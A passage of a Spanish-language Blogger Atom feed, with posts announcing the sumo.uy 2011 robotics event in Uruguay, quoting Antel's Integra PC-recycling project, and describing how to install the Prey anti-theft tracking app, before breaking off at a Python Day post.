Google'/><author><name>Daedalus</name><uri>http://www.blogger.com/profile/05642614570059712077</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='32' height='32' src='http://2.bp.blogspot.com/__2CpOkNZ4-k/S4luF-1HNBI/AAAAAAAAARQ/7TX8VYeugzc/S220/daedalus2027@gmail.com.png'/></author><thr:total>1</thr:total></entry><entry><id>tag:blogger.com,1999:blog-8269681088643654503.post-3698566052626098518</id><published>2011-08-31T10:40:00.000-07:00</published><updated>2011-08-31T10:40:53.668-07:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='fing'/><category scheme='http://www.blogger.com/atom/ns#' term='eventos'/><title type='text'>Presentación del sumo.uy 2011</title><content type='html'>Cito texto de&amp;nbsp;&lt;a href="http://www.fing.edu.uy/inco/eventos/sumo.uy/index.html"&gt;http://www.fing.edu.uy/inco/eventos/sumo.uy/index.html&lt;/a&gt;&lt;br /&gt;&lt;br /&gt;&lt;a href="http://www.fing.edu.uy/inco/eventos/sumo.uy/Documentos/presentacionSumoUY2011-v1.0.pdf" style="color: #a39533;"&gt;Presentación 2011 (PDF)&lt;/a&gt;&lt;br /&gt;&lt;h2 style="font-size: 12px; font-weight: bold; margin-bottom: 0px; margin-left: 0px; margin-right: 0px; margin-top: 0px; padding-bottom: 8px; padding-left: 0px; padding-right: 0px; padding-top: 8px;"&gt;Acerca del evento&lt;/h2&gt;&lt;div style="margin-bottom: 0px; margin-left: 36px; margin-right: 36px; margin-top: 0px; padding-bottom: 8px; padding-left: 0px; padding-right: 0px; padding-top: 8px;"&gt;Son numerosas las instituciones educativas que a nivel mundial desarrollan exposiciones robóticas. En nuestro país,&amp;nbsp;&lt;em style="font-style: normal; font-weight: bold;"&gt;la Facultad de Ingeniería de la Universidad de la República es pionera&lt;/em&gt;.&lt;/div&gt;&lt;div style="margin-bottom: 0px; margin-left: 36px; margin-right: 36px; margin-top: 0px; padding-bottom: 8px; padding-left: 0px; padding-right: 0px; padding-top: 8px;"&gt;&lt;img alt="Competencia de sumo de robots, categoría Liceales" height="200" src="http://www.fing.edu.uy/inco/eventos/sumo.uy/images/index01.jpg" style="border-bottom-width: 0px; border-color: initial; border-left-width: 0px; border-right-width: 0px; border-style: initial; border-top-width: 0px; float: right; margin-left: 18px; margin-top: 20px;" title="Competencia de sumo de robots, categoría Liceales" width="300" /&gt;&lt;/div&gt;&lt;div style="margin-bottom: 0px; margin-left: 36px; margin-right: 36px; margin-top: 0px; padding-bottom: 8px; padding-left: 0px; padding-right: 0px; padding-top: 8px;"&gt;Desde 2004, año a año el evento&amp;nbsp;&lt;em style="font-style: normal; font-weight: bold;"&gt;sumo.uy&lt;/em&gt;ha cumplido con éxito su misión: hacer que la sociedad sea partícipe, y no mero testigo, de los avances en robótica e inteligencia artificial.&lt;/div&gt;&lt;div style="margin-bottom: 0px; margin-left: 36px; margin-right: 36px; margin-top: 0px; padding-bottom: 8px; padding-left: 0px; padding-right: 0px; padding-top: 8px;"&gt;&lt;em style="font-style: normal; font-weight: bold;"&gt;sumo.uy&lt;/em&gt;&amp;nbsp;ofrece un entorno abierto a todo público, donde universitarios y no universitarios, liceales, adultos y niños, uruguayos y extranjeros pueden interactuar, presentar sus trabajos y plantear sus inquietudes relacionadas con la temática del evento.&lt;/div&gt;&lt;div style="margin-bottom: 0px; margin-left: 36px; margin-right: 36px; margin-top: 0px; padding-bottom: 8px; padding-left: 0px; padding-right: 0px; padding-top: 8px;"&gt;Durante el evento se desarrollan exposiciones robóticas, presentación de trabajos, competencias robóticas y talleres. La organización se divide en tres actividades:&lt;/div&gt;&lt;ul style="list-style-image: initial; list-style-position: initial; list-style-type: none; margin-bottom: 0px; margin-left: 84px; margin-right: 84px; margin-top: 0px; padding-bottom: 0px; padding-left: 0px; padding-right: 0px; padding-top: 0px;"&gt;&lt;li style="list-style-type: disc; margin-bottom: 0px; margin-left: 0px; margin-right: 0px; margin-top: 0px; padding-bottom: 0px; padding-left: 0px; padding-right: 0px; padding-top: 0px;"&gt;Campeonato de Sumo Robótico (8a. Edición).&lt;/li&gt;&lt;li style="list-style-type: disc; margin-bottom: 0px; margin-left: 0px; margin-right: 0px; margin-top: 0px; padding-bottom: 0px; padding-left: 0px; padding-right: 0px; padding-top: 0px;"&gt;Workshop en Inteligencia Artificial y Robótica Móvil (8a. Edición).&lt;/li&gt;&lt;li style="list-style-type: disc; margin-bottom: 0px; margin-left: 0px; margin-right: 0px; margin-top: 0px; padding-bottom: 0px; padding-left: 0px; padding-right: 0px; padding-top: 0px;"&gt;Concurso de Robótica (3a. Edición).&lt;/li&gt;&lt;/ul&gt;&lt;h2 style="font-size: 12px; font-weight: bold; margin-bottom: 0px; margin-left: 0px; margin-right: 0px; margin-top: 0px; padding-bottom: 8px; padding-left: 0px; padding-right: 0px; padding-top: 8px;"&gt;Claves del evento&lt;/h2&gt;&lt;ul style="list-style-image: initial; list-style-position: initial; list-style-type: none; margin-bottom: 0px; margin-left: 84px; margin-right: 84px; margin-top: 0px; padding-bottom: 0px; padding-left: 0px; padding-right: 0px; padding-top: 0px;"&gt;&lt;li style="list-style-type: disc; margin-bottom: 0px; margin-left: 0px; margin-right: 0px; margin-top: 0px; padding-bottom: 0px; padding-left: 0px; padding-right: 0px; padding-top: 0px;"&gt;&lt;em style="font-style: normal; font-weight: bold;"&gt;Fecha:&lt;/em&gt;&amp;nbsp;15 al 17 de setiembre de 2011.&lt;/li&gt;&lt;li style="list-style-type: disc; margin-bottom: 0px; margin-left: 0px; margin-right: 0px; margin-top: 0px; padding-bottom: 0px; padding-left: 0px; padding-right: 0px; padding-top: 0px;"&gt;&lt;em style="font-style: normal; font-weight: bold;"&gt;Lugar:&lt;/em&gt;&amp;nbsp;Estadio de Sumo Robótico, Edificio Polifuncional Faro (salón B01), Facultad de Ingeniería.&lt;/li&gt;&lt;li style="list-style-type: disc; margin-bottom: 0px; margin-left: 0px; margin-right: 0px; margin-top: 0px; padding-bottom: 0px; padding-left: 0px; padding-right: 0px; padding-top: 0px;"&gt;&lt;em style="font-style: normal; font-weight: bold;"&gt;Organizadores:&lt;/em&gt;&amp;nbsp;Instituto de Computación, Facultad de Ingeniería, Universidad de la República y Fundación Julio Ricaldoni.&lt;/li&gt;&lt;li style="list-style-type: disc; margin-bottom: 0px; margin-left: 0px; margin-right: 0px; margin-top: 0px; padding-bottom: 0px; padding-left: 0px; padding-right: 0px; padding-top: 0px;"&gt;&lt;em style="font-style: normal; font-weight: bold;"&gt;Tema:&lt;/em&gt;&amp;nbsp;"Competencia y exposición sobre robótica móvil e inteligencia artificial en el Uruguay".&lt;/li&gt;&lt;li style="list-style-type: disc; margin-bottom: 0px; margin-left: 0px; margin-right: 0px; margin-top: 0px; padding-bottom: 0px; padding-left: 0px; padding-right: 0px; padding-top: 0px;"&gt;Estudiantes liceales y universitarios se presentarán a las competencias&lt;/li&gt;&lt;li style="list-style-type: disc; margin-bottom: 0px; margin-left: 0px; margin-right: 0px; margin-top: 0px; padding-bottom: 0px; padding-left: 0px; padding-right: 0px; padding-top: 0px;"&gt;Charlas sobre robótica orientadas al público general.&lt;/li&gt;&lt;li style="list-style-type: disc; margin-bottom: 0px; margin-left: 0px; margin-right: 0px; margin-top: 0px; padding-bottom: 0px; padding-left: 0px; padding-right: 0px; padding-top: 0px;"&gt;Taller de construcción de robots.&lt;/li&gt;&lt;li style="list-style-type: disc; margin-bottom: 0px; margin-left: 0px; margin-right: 0px; margin-top: 0px; padding-bottom: 0px; padding-left: 0px; padding-right: 0px; padding-top: 0px;"&gt;Demostración de un equipo de fútbol de robots.&lt;/li&gt;&lt;li style="list-style-type: disc; margin-bottom: 0px; margin-left: 0px; margin-right: 0px; margin-top: 0px; padding-bottom: 0px; padding-left: 0px; padding-right: 0px; padding-top: 0px;"&gt;Organización ininterrumpida desde 2004.&lt;/li&gt;&lt;li style="list-style-type: disc; margin-bottom: 0px; margin-left: 0px; margin-right: 0px; margin-top: 0px; padding-bottom: 0px; padding-left: 0px; padding-right: 0px; padding-top: 0px;"&gt;Importantes premios a los ganadores de cada categoría.&lt;/li&gt;&lt;/ul&gt;&lt;h2 style="font-size: 12px; font-weight: bold; margin-bottom: 0px; margin-left: 0px; margin-right: 0px; margin-top: 0px; padding-bottom: 8px; padding-left: 0px; padding-right: 0px; padding-top: 8px;"&gt;Concursantes&lt;/h2&gt;&lt;div style="margin-bottom: 0px; margin-left: 36px; margin-right: 36px; margin-top: 0px; padding-bottom: 8px; padding-left: 0px; padding-right: 0px; padding-top: 8px;"&gt;Para participar del Campeonato de Sumo, los concursantes deberán programar la estrategia de control de un robot. En las categorías&amp;nbsp;&lt;em style="font-style: normal; font-weight: bold;"&gt;Liceales&lt;/em&gt;&amp;nbsp;y&amp;nbsp;&lt;em style="font-style: normal; font-weight: bold;"&gt;Sumbot&lt;/em&gt;, solo deben programar la estrategia. Todo el hardware y software específico es proporcionado por la organización del evento. Esto incluye, entre otras cosas, robots, cámaras, dohyo, computadoras y toda la tecnología necesaria para la ejecución de la lucha (ver&lt;a href="http://www.fing.edu.uy/inco/eventos/sumo.uy/introduccion.html" style="color: #a39533;"&gt;introducción a la competencia&lt;/a&gt;).&lt;/div&gt;&lt;div style="margin-bottom: 0px; margin-left: 36px; margin-right: 36px; margin-top: 0px; padding-bottom: 8px; padding-left: 0px; padding-right: 0px; padding-top: 8px;"&gt;Para participar de la categoría&amp;nbsp;&lt;em style="font-style: normal; font-weight: bold;"&gt;Libre&lt;/em&gt;&amp;nbsp;los concursantes deberán traer sus propios robots, de acuerdo al&amp;nbsp;&lt;a href="http://www.fing.edu.uy/inco/eventos/sumo.uy/Documentos/reglamentoLibre.pdf" style="color: #a39533;"&gt;reglamento (PDF)&lt;/a&gt;.&lt;/div&gt;&lt;div style="margin-bottom: 0px; margin-left: 36px; margin-right: 36px; margin-top: 0px; padding-bottom: 8px; padding-left: 0px; padding-right: 0px; padding-top: 8px;"&gt;A partir de la sexta edición hemos incorporado las categorías propuestas por el Consejo Latinoamericano de Robótica IEEE-RAS. Este consejo define año a año dos desafíos a ser resueltos por estudiantes, los cuales representarán a su país en el Concurso Latinoamericano Robótica - LARC. El principal desafío de esta categoría radica en que los concursantes deberán construir dispositivos móviles completamente autónomos. Es decir, debe ser capaces de desplazarse a través del escenario y cumplir los objetivos sin intervención humana, sin necesidad de comunicación con equipos computacionales externos al robot y utilizando únicamente los dispositivos que lleva embebidos.&lt;/div&gt;&lt;div style="margin-bottom: 0px; margin-left: 36px; margin-right: 36px; margin-top: 0px; padding-bottom: 8px; padding-left: 0px; padding-right: 0px; padding-top: 8px;"&gt;Además este año incorpramos el desafío Butiá. La categoría Butiá básica está inspirada en una de las tareas simples que debe realizar un robot móvil. Dicha tarea implica seguir un recorrido predeterminado que estará señalizado mediante una linea negra pintada sobre un suelo blanco. Además el robot encontrará obstáculos en su camino que deberá esquivar y sin perderse de la pista. Esta categoría está pensada para estudiantes liceales que poseen un robot Butiá.&lt;/div&gt;&lt;h2 style="font-size: 12px; font-weight: bold; margin-bottom: 0px; margin-left: 0px; margin-right: 0px; margin-top: 0px; padding-bottom: 8px; padding-left: 0px; padding-right: 0px; padding-top: 8px;"&gt;Acreditaciones&lt;/h2&gt;&lt;div style="margin-bottom: 0px; margin-left: 36px; margin-right: 36px; margin-top: 0px; padding-bottom: 8px; padding-left: 0px; padding-right: 0px; padding-top: 8px;"&gt;&lt;em style="font-style: normal; font-weight: bold;"&gt;Para poder competir en sumo.uy es obligatorio acreditarse antes de la competencia.&lt;/em&gt;&lt;/div&gt;&lt;ul style="list-style-image: initial; list-style-position: initial; list-style-type: none; margin-bottom: 0px; margin-left: 84px; margin-right: 84px; margin-top: 0px; padding-bottom: 0px; padding-left: 0px; padding-right: 0px; padding-top: 0px;"&gt;&lt;li style="list-style-type: disc; margin-bottom: 0px; margin-left: 0px; margin-right: 0px; margin-top: 0px; padding-bottom: 0px; padding-left: 0px; padding-right: 0px; padding-top: 0px;"&gt;&lt;em style="font-style: normal; font-weight: bold;"&gt;Comienzo de las acreditaciones:&lt;/em&gt;&amp;nbsp;lunes 29 de agosto de 2011.&lt;/li&gt;&lt;li style="list-style-type: disc; margin-bottom: 0px; margin-left: 0px; margin-right: 0px; margin-top: 0px; padding-bottom: 0px; padding-left: 0px; padding-right: 0px; padding-top: 0px;"&gt;&lt;em style="font-style: normal; font-weight: bold;"&gt;Fin de las acreditaciones:&lt;/em&gt;&amp;nbsp;viernes 9 de septiembre de 2011.&lt;/li&gt;&lt;li style="list-style-type: disc; margin-bottom: 0px; margin-left: 0px; margin-right: 0px; margin-top: 0px; padding-bottom: 0px; padding-left: 0px; padding-right: 0px; padding-top: 0px;"&gt;&lt;em style="font-style: normal; font-weight: bold;"&gt;Lugar:&lt;/em&gt;&amp;nbsp;Laboratorio de robótica, Primer nivel de las bandejas del IMFIA. Facultad de Ingeniería (J. H. y Reissig 565).&amp;nbsp;&lt;a href="http://www.fing.edu.uy/inco/eventos/sumo.uy/faq.html#IG10" style="color: #a39533;"&gt;Consultar instrucciones para llegar al laboratorio de robótica&lt;/a&gt;&lt;/li&gt;&lt;/ul&gt;&lt;div style="margin-bottom: 0px; margin-left: 36px; margin-right: 36px; margin-top: 0px; padding-bottom: 8px; padding-left: 0px; padding-right: 0px; padding-top: 8px;"&gt;&lt;em style="font-style: normal; font-weight: bold;"&gt;¿Qué significa acreditarse?&lt;/em&gt;&lt;/div&gt;&lt;div style="margin-bottom: 0px; margin-left: 36px; margin-right: 36px; margin-top: 0px; padding-bottom: 8px; padding-left: 0px; padding-right: 0px; padding-top: 8px;"&gt;Significa que cada equipo debe probar su estrategia en nuestro laboratorio de robótica, con los robots que participarán en la competencia.&lt;/div&gt;&lt;div style="margin-bottom: 0px; margin-left: 36px; margin-right: 36px; margin-top: 0px; padding-bottom: 8px; padding-left: 0px; padding-right: 0px; padding-top: 8px;"&gt;&lt;em style="font-style: normal; font-weight: bold;"&gt;¿Cómo hay que hacer para acreditarse?&lt;/em&gt;&lt;/div&gt;&lt;div style="margin-bottom: 0px; margin-left: 36px; margin-right: 36px; margin-top: 0px; padding-bottom: 8px; padding-left: 0px; padding-right: 0px; padding-top: 8px;"&gt;Hay dos modalidades:&lt;/div&gt;&lt;ul style="list-style-image: initial; list-style-position: initial; list-style-type: none; margin-bottom: 0px; margin-left: 84px; margin-right: 84px; margin-top: 0px; padding-bottom: 0px; padding-left: 0px; padding-right: 0px; padding-top: 0px;"&gt;&lt;li style="list-style-type: disc; margin-bottom: 0px; margin-left: 0px; margin-right: 0px; margin-top: 0px; padding-bottom: 0px; padding-left: 0px; padding-right: 0px; padding-top: 0px;"&gt;&lt;em style="font-style: normal; font-weight: bold;"&gt;Acreditación presencial para liceos de Montevideo y zona metropolitana.&lt;/em&gt;&amp;nbsp;Deben concurrir directamente al laboratorio con la estrategia en un pendrive.&lt;/li&gt;&lt;li style="list-style-type: disc; margin-bottom: 0px; margin-left: 0px; margin-right: 0px; margin-top: 0px; padding-bottom: 0px; padding-left: 0px; padding-right: 0px; padding-top: 0px;"&gt;&lt;em style="font-style: normal; font-weight: bold;"&gt;Acreditación remota exclusiva para liceos fuera de la zona metropolitana.&lt;/em&gt;&amp;nbsp;Pueden enviar la estrategia por mail a sumo@fing.edu.uy.&lt;/li&gt;&lt;/ul&gt;&lt;div style="margin-bottom: 0px; margin-left: 36px; margin-right: 36px; margin-top: 0px; padding-bottom: 8px; padding-left: 0px; padding-right: 0px; padding-top: 8px;"&gt;&lt;em style="font-style: normal; font-weight: bold;"&gt;¿En qué horario atiende el laboratorio?&lt;/em&gt;&lt;/div&gt;&lt;div style="margin-bottom: 0px; margin-left: 36px; margin-right: 36px; margin-top: 0px; padding-bottom: 8px; padding-left: 0px; padding-right: 0px; padding-top: 8px;"&gt;Lunes de 10 a 12 hs., de 15 a 17 hs. y de 18 a 20 hs.&lt;br /&gt;Via mail, la estrategia puede enviarse en cualquier momento.&lt;/div&gt;&lt;div style="margin-bottom: 0px; margin-left: 36px; margin-right: 36px; margin-top: 0px; padding-bottom: 8px; padding-left: 0px; padding-right: 0px; padding-top: 8px;"&gt;&lt;em style="font-style: normal; font-weight: bold;"&gt;¿Qué ocurre con la estrategia acreditada?&lt;/em&gt;&lt;/div&gt;&lt;div style="margin-bottom: 0px; margin-left: 36px; margin-right: 36px; margin-top: 0px; padding-bottom: 8px; padding-left: 0px; padding-right: 0px; padding-top: 8px;"&gt;Queda guardada de forma segura en nuestro disco a modo de respaldo. Esto nos permite contar con la última versión de cada estrategia funcionando. Si durante la competencia la estrategia del equipo no funciona se utilizará la versión respaldada (que sabemos que funciona). El equipo puede ir a la competencia con una nueva versión o con una estrategia completamente diferente. No obstante, en caso de que la nueva versión no funcione, se utilizará la última versión de la estrategia acreditada.&lt;/div&gt;&lt;h2 style="font-size: 12px; font-weight: bold; margin-bottom: 0px; margin-left: 0px; margin-right: 0px; margin-top: 0px; padding-bottom: 8px; padding-left: 0px; padding-right: 0px; padding-top: 8px;"&gt;Expositores&lt;/h2&gt;&lt;div style="margin-bottom: 0px; margin-left: 36px; margin-right: 36px; margin-top: 0px; padding-bottom: 8px; padding-left: 0px; padding-right: 0px; padding-top: 8px;"&gt;Paralelamente a las aplicaciones tradicionales de la robótica, en los últimos años ha aumentado el trabajo y la investigación con robots móviles autónomos, con el objetivo de que estos robots puedan moverse en el mundo de forma independiente.&lt;/div&gt;&lt;div style="margin-bottom: 0px; margin-left: 36px; margin-right: 36px; margin-top: 0px; padding-bottom: 8px; padding-left: 0px; padding-right: 0px; padding-top: 8px;"&gt;Existen muchos posibles usos para este tipo de máquinas: apagar incendios, vigilancia, recolección, limpieza y rescate. Las principales áreas de estudio en este contexto son: planificación, búsqueda, aprendizaje, visión, robótica, razonamiento y representación del conocimiento. En el workshop se presentan trabajos realizados por estudiantes, profesionales e investigadores relacionados principalmente con robots móviles autónomos.&lt;/div&gt;&lt;div style="margin-bottom: 0px; margin-left: 36px; margin-right: 36px; margin-top: 0px; padding-bottom: 8px; padding-left: 0px; padding-right: 0px; padding-top: 8px;"&gt;En el&amp;nbsp;&lt;a href="http://www.fing.edu.uy/inco/eventos/sumo.uy/Documentos/CFP-Sumo-2011.pdf" style="color: #a39533;"&gt;llamado a presentación de trabajos (PDF)&lt;/a&gt;&amp;nbsp;puede encontrarse más información.&lt;/div&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/8269681088643654503-3698566052626098518?l=dclavijo.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://dclavijo.blogspot.com/feeds/3698566052626098518/comments/default' title='Enviar comentarios'/><link rel='replies' type='text/html' href='http://dclavijo.blogspot.com/2011/08/presentacion-del-sumouy-2011.html#comment-form' title='0 comentarios'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/8269681088643654503/posts/default/3698566052626098518'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/8269681088643654503/posts/default/3698566052626098518'/><link rel='alternate' type='text/html' href='http://dclavijo.blogspot.com/2011/08/presentacion-del-sumouy-2011.html' title='Presentación del sumo.uy 2011'/><author><name>Daedalus</name><uri>http://www.blogger.com/profile/05642614570059712077</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='32' height='32' src='http://2.bp.blogspot.com/__2CpOkNZ4-k/S4luF-1HNBI/AAAAAAAAARQ/7TX8VYeugzc/S220/daedalus2027@gmail.com.png'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-8269681088643654503.post-1560100347056847498</id><published>2011-08-22T11:48:00.000-07:00</published><updated>2011-08-22T11:49:13.380-07:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='misc'/><category scheme='http://www.blogger.com/atom/ns#' term='antel'/><title type='text'>Proyecto Antel integra</title><content type='html'>Cito texto de la pagina de &lt;a href="http://www.antel.com.uy/"&gt;Antel&lt;/a&gt;:&lt;br /&gt;&lt;br /&gt;Contribuir en la universalización del acceso a Internet  			 			&lt;br /&gt;&lt;b&gt;¿Qué es Antel Integra?&lt;/b&gt;&lt;br /&gt;Antel Integra es un Proyecto patrocinado por Antel, con el fin de &amp;nbsp;colaborar principalmente con los hogares de menor poder adquisitivo identificados por las entidades de Gobierno (MIDES, BPS, IMs, MVOTMA, etc), proporcionándoles un PC reciclado, con software libre y acceso a Internet. Para ello se utilizarán equipos informáticos en desuso, que sean donados por empresas y particulares interesados en sumarse al &amp;nbsp;Proyecto.&lt;br /&gt;&lt;br /&gt;&lt;b&gt;¿Cuál es el objetivo del Proyecto?&lt;/b&gt;&lt;br /&gt;A través de este proyecto Antel busca:&lt;br /&gt;• Contribuir en la universalización del acceso a Internet, sumando hogares de todo el país.&lt;br /&gt;• Mejorar las condiciones de los uruguayos y de su forma de vida, mediante la incorporación de oportunidades y conocimiento, a través de la tecnología.&lt;br /&gt;• Contribuir con la disminución de la contaminación producida por los desechos informáticos.&lt;br /&gt;• Fomentar la utilización de software libre en la sociedad uruguaya.&lt;br /&gt;• Generar oportunidades de trabajo e investigación tecnológica mediante la participación de estudiantes de UTU y de otras instituciones educativas que se integren al proyecto.&lt;br /&gt;&lt;br /&gt;&lt;b&gt;¿Cómo funciona?&lt;/b&gt;&lt;br /&gt;Antel contará con un Centro de Reciclado encargado de clasificar, desarmar, limpiar y reciclar los equipos recibidos.&lt;br /&gt;En este Centro se armarán computadoras completas que cuenten con los requerimientos mínimos de hardware y con una imagen liviana de software libre que permita:&lt;br /&gt;• navegar en Internet;&lt;br /&gt;• consultar, enviar y recibir correos electrónicos;&lt;br /&gt;• utilizar paquetes de ofimática y&lt;br /&gt;• visualizar archivos multimedia.&lt;br /&gt;Inicialmente, las tareas serán realizadas conjuntamente por personal técnico de Antel y de CETP-UTU. Asimismo podrán incorporarse técnicos de otros organismos públicos que deseen contribuir con conocimiento y mano de obra.&lt;br /&gt;&lt;br /&gt;&lt;b&gt;¿Cómo participo del Proyecto Antel Integra?&lt;/b&gt;&lt;br /&gt;Aquellas empresas o personas que deseen colaborar con este emprendimiento podrán realizarlo donando los siguientes dispositivos de hardware:&lt;br /&gt;• CPU / torres P3 (similar ) o superior&lt;br /&gt;• monitores color&lt;br /&gt;• periféricos (ratones, teclados, parlantes) y&lt;br /&gt;• otras partes (discos duros, lectoras de CD/DVD, tarjetas de video, tarjetas de red, tarjetas de sonido).&lt;br /&gt;En esta etapa inicial del proyecto se aceptarán todos los dispositivos informáticos indicados, a excepción de:&lt;br /&gt;• monitores CRT que no sean color&lt;br /&gt;• monitores o cpu con daños mayores&lt;br /&gt;• impresoras&lt;br /&gt;• scanners&lt;br /&gt;• notebooks&lt;br /&gt;Los componentes deben ser entregados por los donantes en los &lt;a href="http://www.antel.com.uy/wps/wcm/connect/27610a004804706ea5d8ad96c21f9a18/Locales-Comerciales-receptores-del-Proyecto-Antel-Integra.pdf?MOD=AJPERES"&gt;Locales Comerciales&lt;/a&gt; destinados por Antel a tales efectos.&lt;br /&gt;Si la donación supera los 10 equipos, se cuenta con la posibilidad que los mismos sean retirados a domicilio, previa coordinación de día y hora a través de la casilla de correo electrónica &lt;a href="mailto:ANTELintegra@ANTEL.com.uy"&gt;ANTELintegra@ANTEL.com.uy&lt;/a&gt;.&lt;br /&gt;&lt;br /&gt;Fuente [&lt;a href="http://www.antel.com.uy/antel/novedades/proyecto-antel-integra"&gt;http://www.antel.com.uy/antel/novedades/proyecto-antel-integra&lt;/a&gt;] &lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/8269681088643654503-1560100347056847498?l=dclavijo.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://dclavijo.blogspot.com/feeds/1560100347056847498/comments/default' title='Enviar comentarios'/><link rel='replies' type='text/html' href='http://dclavijo.blogspot.com/2011/08/proyecto-antel-integra.html#comment-form' title='3 comentarios'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/8269681088643654503/posts/default/1560100347056847498'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/8269681088643654503/posts/default/1560100347056847498'/><link rel='alternate' type='text/html' href='http://dclavijo.blogspot.com/2011/08/proyecto-antel-integra.html' title='Proyecto Antel integra'/><author><name>Daedalus</name><uri>http://www.blogger.com/profile/05642614570059712077</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='32' height='32' src='http://2.bp.blogspot.com/__2CpOkNZ4-k/S4luF-1HNBI/AAAAAAAAARQ/7TX8VYeugzc/S220/daedalus2027@gmail.com.png'/></author><thr:total>3</thr:total></entry><entry><id>tag:blogger.com,1999:blog-8269681088643654503.post-7554684013773385049</id><published>2011-08-18T12:49:00.000-07:00</published><updated>2011-08-18T12:50:07.459-07:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='prey'/><category scheme='http://www.blogger.com/atom/ns#' term='gps'/><category scheme='http://www.blogger.com/atom/ns#' term='seguridad'/><category scheme='http://www.blogger.com/atom/ns#' term='android'/><title type='text'>Prey</title><content type='html'>Prey es una pequeña&amp;nbsp;aplicación (&lt;a href="http://www.gnu.org/copyleft/gpl.html"&gt;GPL&lt;/a&gt;) que permite rastrear una computadora o&amp;nbsp;teléfono&amp;nbsp;celular perdido o robado.&lt;br /&gt;Se puede instalar en Linux, Android y en varios sistemas operativos mas.&lt;br /&gt;&lt;br /&gt;La&amp;nbsp;aplicación&amp;nbsp;tiene soporte para:&lt;br /&gt;&amp;nbsp;*GPS Puede saber la&amp;nbsp;ubicación&amp;nbsp;actual de nuestro dispositivo&lt;br /&gt;&amp;nbsp;*Camara Puede sacar fotos con la camara de nuestro dispositivo y&amp;nbsp;enviárnosla&amp;nbsp;por mail&lt;br /&gt;&amp;nbsp;*cifrado AES y SSL: en la version Pro que es un servicio pago en el servidor nos puede cifrar toda la&amp;nbsp;comunicación con este.&lt;br /&gt;Se puede activar tanto desde el comand center como por SMS y puede reportar a&amp;nbsp;través&amp;nbsp;de estos o directamente por SMTP.&lt;br /&gt;&lt;br /&gt;Actualmente ya se puede instalar desde apt con:&lt;br /&gt;&lt;br /&gt;&lt;span class="Apple-style-span" style="color: lime;"&gt;# apt-get install prey&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;O en android con el siguiente QR-code:&lt;br /&gt;&lt;a href="http://2.bp.blogspot.com/-GFbdsoSD5oY/Tk1qrEvG24I/AAAAAAAAAaA/MDkkiTKjv6s/s1600/prey.png" imageanchor="1" style="clear: left; float: left; margin-bottom: 1em; margin-right: 1em;"&gt;&lt;img border="0" src="http://2.bp.blogspot.com/-GFbdsoSD5oY/Tk1qrEvG24I/AAAAAAAAAaA/MDkkiTKjv6s/s1600/prey.png" /&gt;&lt;/a&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;O a traves de codigo de fuente:&lt;br /&gt;&lt;div class="code"&gt;$ wget&amp;nbsp;http://preyproject.com/releases/0.5.3/prey-0.5.3-linux.zip&lt;br /&gt;$ unzip&amp;nbsp;prey-0.5.3-linux.zip&lt;/div&gt;&lt;br /&gt;Y como root:&lt;br /&gt;&lt;div class="code"&gt;# mv&amp;nbsp;prey-0.5.3-linux /usr/share/prey&lt;br /&gt;# echo "*/10 * * * * /usr/share/prey/prey.sh &amp;gt; /var/log/prey.log" &amp;gt;&amp;gt; /etc/crontab&lt;/div&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/8269681088643654503-7554684013773385049?l=dclavijo.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://dclavijo.blogspot.com/feeds/7554684013773385049/comments/default' title='Enviar comentarios'/><link rel='replies' type='text/html' href='http://dclavijo.blogspot.com/2011/08/prey.html#comment-form' title='1 comentarios'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/8269681088643654503/posts/default/7554684013773385049'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/8269681088643654503/posts/default/7554684013773385049'/><link rel='alternate' type='text/html' href='http://dclavijo.blogspot.com/2011/08/prey.html' title='Prey'/><author><name>Daedalus</name><uri>http://www.blogger.com/profile/05642614570059712077</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='32' height='32' src='http://2.bp.blogspot.com/__2CpOkNZ4-k/S4luF-1HNBI/AAAAAAAAARQ/7TX8VYeugzc/S220/daedalus2027@gmail.com.png'/></author><media:thumbnail xmlns:media='http://search.yahoo.com/mrss/' url='http://2.bp.blogspot.com/-GFbdsoSD5oY/Tk1qrEvG24I/AAAAAAAAAaA/MDkkiTKjv6s/s72-c/prey.png' height='72' width='72'/><thr:total>1</thr:total></entry><entry><id>tag:blogger.com,1999:blog-8269681088643654503.post-2489584737110093259</id><published>2011-08-15T11:33:00.000-07:00</published><updated>2011-08-15T11:33:05.545-07:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='python'/><category scheme='http://www.blogger.com/atom/ns#' term='eventos'/><title type='text'>Python Day</title><content type='html'>&lt;span class="Apple-style-span" style="font-family: Arial, Verdana, Helvetica, sans-serif;"&gt;&lt;/span&gt;&lt;br /&gt;&lt;div style="border-bottom-width: 0px; border-color: initial; border-left-width: 0px; border-right-width: 0px; border-style: initial; border-top-width: 0px; font-size: 12px; margin-bottom: 0px; margin-left: 0px; margin-right: 0px; margin-top: 0px; padding-bottom: 0px; padding-left: 0px; padding-right: 0px; padding-top: 